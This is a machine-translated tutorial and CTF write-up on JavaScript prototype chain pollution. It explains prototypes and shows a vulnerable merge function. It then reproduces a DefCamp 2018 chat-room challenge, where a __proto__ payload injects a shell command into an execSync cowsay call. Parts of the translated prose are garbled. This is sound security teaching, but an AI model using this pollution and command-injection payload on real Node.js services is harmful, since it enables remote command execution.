0x01 talk about their own understanding
function a(){}
var b=new a()
var c = {}
a.__proto__.__proto__ == b.__proto__.__proto__ == c.__proto__
a.__proto__ != b.__proto__ != c
- This time the b
__proto__
point isa.prototype
a.prototype
The__proto__
point isObject.prototype
- b The
constructor
point is alsofunction a(){}
- And it's a
__proto__
point thatFunction.prototype
nowFunction.prototype. constructor
points to theFunction(){}
- The above
Function(){}
also__proto__
points toFunction.prototype
Function.prototype
The constructor also pointedFunction(){}
Function.prototype
The__proto__
same time pointObject.prototype
Object.prototype
The constructor isObject
- The Object; in
__proto__
turn points to theFunction.prototype
- Object.prototypet is the __proto__
null
- In add
a.constructor
points to theFunction
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
let son1 = new Son()
son1.__proto__ //object{...}
Son.prototype = new Father()
let son2 = new Son()
son.__proto__ //Object { first_name: "Donald", last_name: "Trump" }
Overall prototype
equivalent to inherit the parent class of other object-oriented languages in the
picture reference address
What 0x02 prototype chain pollution
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar) // 1
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1,先查找本身的属性,若没有再层层递进
console.log(foo.bar) //1
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar) //2
0x03 which case the prototype chain would be contaminated?
1.对象`merge`
2.对象`clone`(其实内核就是将待操作的对象merge到一个空对象中)
An object merge
, for example, we imagine a simple merge
function:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
We try this Code
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1,2
o3 = {}
console.log(o3.b) //undefined
As a result, although the success of the merger, but the prototype chain is not contaminated:
This is because we use JavaScript
the process of creating the o2 let o2 = {a: 1, "__proto__": {b: 2}}
in, __proto__
has represented the prototype of the o2, o2 this time through all the key names, you get that [a, b]
, __proto__
not a key
, naturally, does not modify the Object
prototype.
So, how __proto__
it is considered a key name it?
We will change the code like this:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1,2
o3 = {}
console.log(o3.b) //2
This is because, JSON
in the case resolved, __ proto__ will be considered a real "keys", and do not represent the "prototype", so traversing o2 when there will be the key.
merge operation is the most common operation may control the key names, and most can be the prototype chain attacks, many common libraries have this problem.
0x04 analysis examples
We've got to a topic on DefCamp CTF 2018, for example
generally looked, node.js code a chat room
const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')
if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
name: process.argv[2],
};
socket.on('message', function(msg) {
console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});
socket.on('error', function (err) {
console.log('received socket error:')
console.log(err)
})
socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));
The client code is relatively simple, we continue to follow up server.js code
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}
Found a very clear command execution vulnerability, we continue to see where this function is called
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});
client.on('leave', function(channel) {
try {
client .join(channel);
clientManager.leaveChannel(client, channel);
sendMessageToClient(client,"Server",
"You left channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel, "Server",
helper.getAscii("User " + u + " living in " + c + " left channel"))
} catch(e) { console.log(e); client.disconnect() }
});
So the next question becomes how to control variables u
or c
, entered by a user username
and country
, but the problem is not so simple? Of course not, the server will do very strict user input validation:
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}
var keys = Object.keys(inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];
if(block.indexOf(key) !== -1) {
return false;
}
}
var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}
return true;
}
We can CTRL+F
find so that we can have no Prototype污染攻击
place, said the two functions above general (merge,和clone)
attack environment can be formed
function clone(obj) {
if (typeof obj !== 'object' || obj === null) {
return obj;
}
var newObj;
var cloneDeep = false;
if (!Array.isArray(obj)) {
if (Buffer.isBuffer(obj)) {
newObj = new Buffer(obj);
} else if (obj instanceof Date) {
newObj = new Date(obj.getTime());
} else if (obj instanceof RegExp) {
newObj = new RegExp(obj);
} else {
var proto = Object.getPrototypeOf(obj);
if (proto && proto.isImmutable) {
newObj = obj;
} else {
newObj = Object.create(proto);
cloneDeep = true;
}
}
} else {
newObj = [];
cloneDeep = true;
}
if (cloneDeep) {
var keys = Object.getOwnPropertyNames(obj);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
var descriptor = Object.getOwnPropertyDescriptor(obj, key);
if (descriptor && (descriptor.get || descriptor.set)) {
Object.defineProperty(newObj, key, descriptor);
} else {
newObj[key] = clone(obj[key]);
}
}
}
return newObj;
}
Here obviously clone
available, so we construct payload:node client.js {"__proto__":{name:213'&&dir&&'5}} 555
, the second parameter to enter the name of the chat room
I reproduced in the windows, so the use of the dir command.
Reproduction success!